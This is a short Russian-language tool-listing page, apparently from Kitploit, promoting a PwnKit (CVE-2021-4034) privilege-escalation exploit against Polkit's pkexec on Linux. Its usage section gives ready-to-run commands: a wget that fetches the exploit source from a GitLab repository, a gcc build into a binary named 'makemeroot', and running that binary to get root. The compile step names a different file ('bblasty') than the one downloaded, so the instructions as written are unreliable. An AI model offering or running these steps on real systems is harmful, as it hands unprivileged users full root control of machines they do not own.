pwnkit-vulnerability — Локальный эксплойт повышения привилегий для CVE-2021-4034 (PWNKIT), нацеленный на pkexec из Polkit, позволяющий непривилегированным пользователям получить root-доступ на уязвимых системах Linux. | Kitploit

PWNKIT Уязвимость - CVE-2021-4034

CVE-2021-4034 (PWNKIT)

Уязвимость повреждения памяти в pkexec из Polkit, которая позволяет любому непривилегированному пользователю получить полные права root на уязвимой системе с использованием стандартной конфигурации polkit.

Простое в использовании локальное повышение привилегий на любой непатченной Linux-системе.

Использование (например, CentOS 7)

Загрузка эксплойта

wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c

Компиляция с помощью gcc

gcc bblasty-vs-pkexec.c -o makemeroot

Запуск

./makemeroot
whoami

Скачать инструмент

pwnkit-vulnerability

Популярное

PWNKIT Уязвимость - CVE-2021-4034

Использование (например, CentOS 7)

Загрузка эксплойта

Компиляция с помощью gcc

Запуск